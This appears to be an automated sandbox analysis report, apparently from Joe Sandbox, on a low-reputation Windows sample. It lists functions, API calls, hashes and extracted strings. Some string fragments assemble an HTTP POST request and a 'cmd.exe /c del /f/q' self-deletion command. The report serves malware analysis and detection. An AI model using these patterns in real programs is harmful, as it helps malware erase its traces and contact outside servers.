Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	35.7%
Total number of Nodes:	28
Total number of Limit Nodes:	5

Executed Functions

Function 004E1660 Relevance: 1.6, APIs: 1, Instructions: 81
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL(00000005,?,?,?), ref: 004E1692

Part of subcall function 004E4F54: HeapFree.KERNEL32(00000000,?,?,005896AE,00597550,?,00000000,00000000,?,00598621,?), ref: 004E4F68

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: FreeHeapInformationQuerySystem
String ID:
API String ID: 3689970186-0
Opcode ID: c9c89c8fa3e3c5b574c88006f9420cf45b266eb9ea1b81b1fb964c8068e9a43c
Instruction ID: e53a9e1050492d32c26f44d05b852f8f6726c74eb05f2b2155687a7e148a97d3
Opcode Fuzzy Hash: c9c89c8fa3e3c5b574c88006f9420cf45b266eb9ea1b81b1fb964c8068e9a43c
Instruction Fuzzy Hash: 19213431A002489BCF10DF7BE8467AEF7E89F62309F1044AFD85E83250DE7CA9459758

Uniqueness

Uniqueness Score: -1.00%

Function 004E25DA Relevance: 1.6, APIs: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,00000000,?,00000000,00000000,00000000), ref: 004E2605

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: b307758f896956b395e18aac5f750944b33c9904039a2a7aba8f68d781296328
Instruction ID: aa6c4c051b2afbb2acb784ef4069370ed290c404488525b0eaf6c3282f292751
Opcode Fuzzy Hash: b307758f896956b395e18aac5f750944b33c9904039a2a7aba8f68d781296328
Instruction Fuzzy Hash: 7001C4727043409BE720DF72ED56F6B7398AB84706F44096AFE0DD7280DB68D8048799

Uniqueness

Uniqueness Score: -1.00%

Function 004E1678 Relevance: 1.5, APIs: 1, Instructions: 39
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL(00000005,?,?,?), ref: 004E1692

Part of subcall function 004E4F54: HeapFree.KERNEL32(00000000,?,?,005896AE,00597550,?,00000000,00000000,?,00598621,?), ref: 004E4F68

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: FreeHeapInformationQuerySystem
String ID:
API String ID: 3689970186-0
Opcode ID: 56e77051264e8a4010542dfe80a0a827219736d5ec4198f01c2cb1b61e328d83
Instruction ID: ead6715b7f807b5eb5beef7d31aaac700e2cbad2d77ccd62ea0b5a71835a3dff
Opcode Fuzzy Hash: 56e77051264e8a4010542dfe80a0a827219736d5ec4198f01c2cb1b61e328d83
Instruction Fuzzy Hash: 2CF028B09002409BDF208FB6DC4575EB7E4AF51305F10086FE98AC3210D638E894C708

Uniqueness

Uniqueness Score: -1.00%

Function 004E1E3A Relevance: 28.1, APIs: 1, Strings: 15, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__ltow_s.LIBCMT ref: 004E1EAA

Part of subcall function 004E513B: _xtoa_s@20.LIBCMT ref: 004E515E

Strings

POST, xrefs: 004E1EDB
/1.1, xrefs: 004E1F04
%d, xrefs: 004E1F54
Ho, xrefs: 004E1F0E
ent-, xrefs: 004E1F36
%u.%, xrefs: 004E1E55
.%u, xrefs: 004E1E6A
u.%u, xrefs: 004E1E60
Cont, xrefs: 004E1F2C
Leng, xrefs: 004E1F40
HTTP, xrefs: 004E1EFA
%s, xrefs: 004E1F22
st: , xrefs: 004E1F18
th: , xrefs: 004E1F4A
%s , xrefs: 004E1EEA

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: __ltow_s_xtoa_s@20
String ID: Ho$ %s $%d$%s$%u.%$.%u$/1.1$Cont$HTTP$Leng$POST$ent-$st: $th: $u.%u
API String ID: 1118807273-4260112153
Opcode ID: cef0447e1392183d26a7c23e5a82e166e8eede0e184e5f7acab9828a8e01e54c
Instruction ID: 079f1dd7209ebd8b457493ea12a453894f1ee85dcba623da3161400538db703d
Opcode Fuzzy Hash: cef0447e1392183d26a7c23e5a82e166e8eede0e184e5f7acab9828a8e01e54c
Instruction Fuzzy Hash: FF4161B1D412A89ACB21DF528C41BDEB778BF05305F4401DAE608B7291E7789B45CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 004E3743 Relevance: 15.1, APIs: 2, Strings: 8, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 004E3840
CloseHandle.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 004E3848

Strings

el /, xrefs: 004E37C2
/c d, xrefs: 004E37B5
f/q , xrefs: 004E37C9
> n, xrefs: 004E37D7
cmd., xrefs: 004E37A4, 004E37AE
exe , xrefs: 004E37A7
"%s", xrefs: 004E37D0
D, xrefs: 004E37FA

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: CloseHandle
String ID: > n$"%s"$/c d$D$cmd.$el /$exe $f/q
API String ID: 2962429428-2768988520
Opcode ID: 0c78f2d900b82a22dd5cefea0ee5e20d8a48c4d30a952b2c4566213c585d9bb1
Instruction ID: ad7c73dcdd9e0fbe263ea9ec920ced9ccbd285c85604d64ddaae552047a41824
Opcode Fuzzy Hash: 0c78f2d900b82a22dd5cefea0ee5e20d8a48c4d30a952b2c4566213c585d9bb1
Instruction Fuzzy Hash: DB215E71A0025CABDB21DF51DD81BDDBB7CAF04701F1001AAF548BA280DBB46B458B59

Uniqueness

Uniqueness Score: -1.00%

Function 004E3750 Relevance: 15.1, APIs: 2, Strings: 8, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 004E3840
CloseHandle.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 004E3848

Strings

el /, xrefs: 004E37C2
/c d, xrefs: 004E37B5
f/q , xrefs: 004E37C9
> n, xrefs: 004E37D7
cmd., xrefs: 004E37A4, 004E37AE
exe , xrefs: 004E37A7
"%s", xrefs: 004E37D0
D, xrefs: 004E37FA

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: CloseHandle
String ID: > n$"%s"$/c d$D$cmd.$el /$exe $f/q
API String ID: 2962429428-2768988520
Opcode ID: 0146b2d531d48803ca14f26a8690300ccd382816987a51f3bf1cce9ea121b3e4
Instruction ID: 9767ca6ddf376c6211d6976b328eab97fe7958bcf303ac8ae9b843342966042a
Opcode Fuzzy Hash: 0146b2d531d48803ca14f26a8690300ccd382816987a51f3bf1cce9ea121b3e4
Instruction Fuzzy Hash: 7B215E71A0025CABDB21DF51DD45BDDBBBCBF14701F10019AF548BA280DBB46B458F69

Uniqueness

Uniqueness Score: -1.00%

Function 004E1B8F Relevance: 4.5, APIs: 3, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

setsockopt.WS2_32(?,0000FFFF,00001005,?,00000004), ref: 004E1BB0
setsockopt.WS2_32(?,0000FFFF,00001006,00000000,00000004,?,0000FFFF,00001005,?,00000004), ref: 004E1BCA
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004,?,0000FFFF,00001005,?,00000004), ref: 004E1BEA

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 0daf58f6bf02d43a9997e3aa0e0c1c663b0a1a88ab808a9dd5f855b7124313ee
Instruction ID: 1d0ad7119ae69179c6d43550abbef08cee070526027ce6870971af5d40bc403d
Opcode Fuzzy Hash: 0daf58f6bf02d43a9997e3aa0e0c1c663b0a1a88ab808a9dd5f855b7124313ee
Instruction Fuzzy Hash: 5BF04971A8020ABAEB25DF84CC46FBEBBB4EF08715F10417AA310662C0DBF91558DF80

Uniqueness

Uniqueness Score: -1.00%

Function 004E4676 Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FF_MSGBANNER.LIBCMT ref: 004E4681

Part of subcall function 004E5C9D: __NMSG_WRITE.LIBCMT ref: 004E5CC4
Part of subcall function 004E5C9D: __NMSG_WRITE.LIBCMT ref: 004E5CCE

__NMSG_WRITE.LIBCMT ref: 004E4688

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9add1edec2fff8613a55187f8241caf9cfd3f2d5081b314cdfd778f9dcaf4037
Instruction ID: 4bd4bd5a62c9f70e4ef66a54dbe3157dd1bbe2ab4892d10898e5f9be5dc4f982
Opcode Fuzzy Hash: 9add1edec2fff8613a55187f8241caf9cfd3f2d5081b314cdfd778f9dcaf4037
Instruction Fuzzy Hash: 17F0CD35350B815AD525773BAC52B7B23489FD276FF31002FF10699181EEAC4C41553E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004E83AE Relevance: 40.2, Strings: 32, Instructions: 173COMMON

Download Yara Rule

Strings

FlsSetValue, xrefs: 004E83EB
FlushProcessWriteBuffers, xrefs: 004E84D4
FlsGetValue, xrefs: 004E83D8
CloseThreadpoolWait, xrefs: 004E84BC
GetTimeFormatEx, xrefs: 004E858D
GetLocaleInfoEx, xrefs: 004E857A
FlsFree, xrefs: 004E83C5
EnumSystemLocalesEx, xrefs: 004E8541
CloseThreadpoolTimer, xrefs: 004E8483
SetThreadStackGuarantee, xrefs: 004E8437
CreateEventExW, xrefs: 004E8411
SetDefaultDllDirectories, xrefs: 004E852E
SetThreadpoolWait, xrefs: 004E84A9
SetFileInformationByHandleW, xrefs: 004E8612
WaitForThreadpoolTimerCallbacks, xrefs: 004E8470
GetTickCount64, xrefs: 004E85EC
InitializeCriticalSectionEx, xrefs: 004E83FE
GetDateFormatEx, xrefs: 004E8567
SetThreadpoolTimer, xrefs: 004E845D
GetLogicalProcessorInformation, xrefs: 004E8508
CompareStringEx, xrefs: 004E8554
CreateThreadpoolWait, xrefs: 004E8496
GetCurrentProcessorNumber, xrefs: 004E84F5
GetUserDefaultLocaleName, xrefs: 004E85A0
CreateThreadpoolTimer, xrefs: 004E844A
GetCurrentPackageId, xrefs: 004E85D9
LCMapStringEx, xrefs: 004E85C6
FreeLibraryWhenCallbackReturns, xrefs: 004E84E2
IsValidLocaleName, xrefs: 004E85B3
CreateSymbolicLinkW, xrefs: 004E851B
GetFileInformationByHandleExW, xrefs: 004E8604
CreateSemaphoreExW, xrefs: 004E8424

Memory Dump Source

Source File: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: CloseThreadpoolTimer$CloseThreadpoolWait$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$EnumSystemLocalesEx$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetDateFormatEx$GetFileInformationByHandleExW$GetLocaleInfoEx$GetLogicalProcessorInformation$GetTickCount64$GetTimeFormatEx$GetUserDefaultLocaleName$InitializeCriticalSectionEx$IsValidLocaleName$LCMapStringEx$SetDefaultDllDirectories$SetFileInformationByHandleW$SetThreadStackGuarantee$SetThreadpoolTimer$SetThreadpoolWait$WaitForThreadpoolTimerCallbacks
API String ID: 0-3340538766
Opcode ID: f362c66936033678e3221339c0a7c9cf1200aab80d2cee717541885fef6cedb3
Instruction ID: ccaf96a4695885fab11d2803d44c808f792ce05fe9517dc30ed908cf4ec9535a
Opcode Fuzzy Hash: f362c66936033678e3221339c0a7c9cf1200aab80d2cee717541885fef6cedb3
Instruction Fuzzy Hash: 9D51AF75950318AA8740DFB5FC49B27BBB4BFB5B00714291FA605F21B0EAB89049BF64

Uniqueness

Uniqueness Score: -1.00%

Function 0059476C Relevance: 3.9, Strings: 3, Instructions: 184COMMON

Download Yara Rule

Strings

1, xrefs: 005947E3
8, xrefs: 00594EFC
bR, xrefs: 00594EAE

Memory Dump Source

Source File: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 1$8$bR
API String ID: 0-1433623290
Opcode ID: 967556662d59b1a2b00edce56961a00685952960dc1326f0f9ff5f0f1d9ea6b0
Instruction ID: 692020b585eaa7f9bfa4ceca8d9e2c80c117139d7c5959dfa6618b58e0de7e53
Opcode Fuzzy Hash: 967556662d59b1a2b00edce56961a00685952960dc1326f0f9ff5f0f1d9ea6b0
Instruction Fuzzy Hash: 6941B972D04122CBCF09FA38C8655FDBBA3EFE5350F05492EE0C297A81D679559AC781

Uniqueness

Uniqueness Score: -1.00%

Function 0058D39E Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

1, xrefs: 005947E3
(, xrefs: 0058D39F

Memory Dump Source

Source File: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121594798.000000000057D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121633677.000000000059D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121658837.00000000005B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121675437.00000000005B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121692368.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121706428.00000000005BB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121759279.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121774247.000000000064C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121789641.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: ($1
API String ID: 0-1764306902
Opcode ID: c583de9313f1dccc21fbb04cef4396a1ef91c616fba0e8b4efdddcd73cdbf114
Instruction ID: 46481d696b14878ad4dcf2e07507c658ab291fccd8fe9e12c4ab46bc67918832
Opcode Fuzzy Hash: c583de9313f1dccc21fbb04cef4396a1ef91c616fba0e8b4efdddcd73cdbf114
Instruction Fuzzy Hash: 485198B2D041229BCB0AEA28C8955FD7FA3FFE5340F054A2DF4C593A80D67D95AAC741

Uniqueness

Uniqueness Score: -1.00%

Function 0059132B Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

1, xrefs: 005947E3

Memory Dump Source

Source File: 00000000.00000002.2121614134.0000000000581000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.2121508671.00000000004E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121522912.00000000004E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2121543696.00000000004F3000.00000002.00000001.01000000.00000003.sdmpDownload File
